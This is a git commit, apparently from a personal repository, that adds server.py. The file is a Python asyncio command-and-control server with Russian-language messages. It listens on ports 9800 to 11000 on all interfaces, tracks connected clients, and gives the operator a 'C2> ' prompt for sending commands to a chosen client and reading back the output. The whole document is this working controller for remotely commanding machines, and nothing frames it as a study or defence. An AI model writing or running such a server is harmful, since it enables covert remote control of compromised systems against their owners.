This commit is contained in:
wheelchairy 2025-02-10 14:27:27 +03:00
parent d79f78c2ee
commit a790ece4a2

48
server.py Normal file
View File

@ -0,0 +1,48 @@
import asyncio
clients = {} # {порт: (reader, writer)}
async def handle_client(reader, writer):
addr = writer.get_extra_info("peername")
port = writer.get_extra_info("sockname")[1]
clients[port] = (reader, writer)
print(f"[+] Новое подключение с {addr}, порт {port}")
try:
while True:
command = await asyncio.get_event_loop().run_in_executor(None, input, "C2> ")
if command.lower() in ["exit", "quit"]:
break
elif command == "list":
print("[*] Активные клиенты:")
for p in clients:
print(f" - Порт {p}")
elif command.startswith("send "):
_, target_port, cmd = command.split(" ", 2)
target_port = int(target_port)
if target_port in clients:
r, w = clients[target_port]
w.write(cmd.encode() + b"\n")
await w.drain()
response = await r.readline()
print(f"[{target_port}] {response.decode().strip()}")
else:
print(f"[-] Нет клиента на порте {target_port}")
except Exception as e:
print(f"[-] Ошибка: {e}")
writer.close()
await writer.wait_closed()
del clients[port]
print(f"[-] Клиент отключился: {addr}, порт {port}")
async def main():
tasks = []
for port in range(9800, 11000):
server = await asyncio.start_server(handle_client, "0.0.0.0", port)
tasks.append(server.serve_forever())
print("[+] Сервер C2 запущен на портах 9800-11000")
await asyncio.gather(*tasks)
asyncio.run(main())